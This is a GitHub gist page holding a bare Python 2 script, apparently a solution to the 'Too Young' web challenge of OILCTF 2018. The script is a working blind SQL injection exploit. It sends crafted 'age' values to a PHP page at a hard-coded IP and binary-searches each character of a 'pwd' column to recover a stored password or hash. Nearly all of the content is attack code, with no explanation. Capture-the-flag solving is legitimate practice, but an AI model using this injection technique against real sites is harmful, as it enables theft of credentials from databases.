Skip to content

Instantly share code, notes, and snippets.

@samueltangz
Created March 25, 2018 12:53
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save samueltangz/2c0a150103b13d2b213bc75fd71d82d3 to your computer and use it in GitHub Desktop.
Save samueltangz/2c0a150103b13d2b213bc75fd71d82d3 to your computer and use it in GitHub Desktop.
OILCTF 2018 / Too Young (Web350)
import requests
md = ''
for i in range(1, 33):
l, r = 0, 128
while l + 1 < r:
m = (l + r) / 2
data = { 'age': 'repeat(crc32(strcmp(mid(pwd,%d,1),%s)),if(strcmp(id,0x35),0,1))#' % (i, hex(m)) }
cookies = { 'PHPSESSID': '8frmhugntqqfj0cv72rsd6qt95' }
res = requests.post("http://35.189.151.223/tooyoung/index.php", cookies=cookies, data=data)
if res.text.find('4108050209') > -1:
break
elif res.text.find('2212294583') > -1:
l = m
else:
r = m
md += chr(m)
print md
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment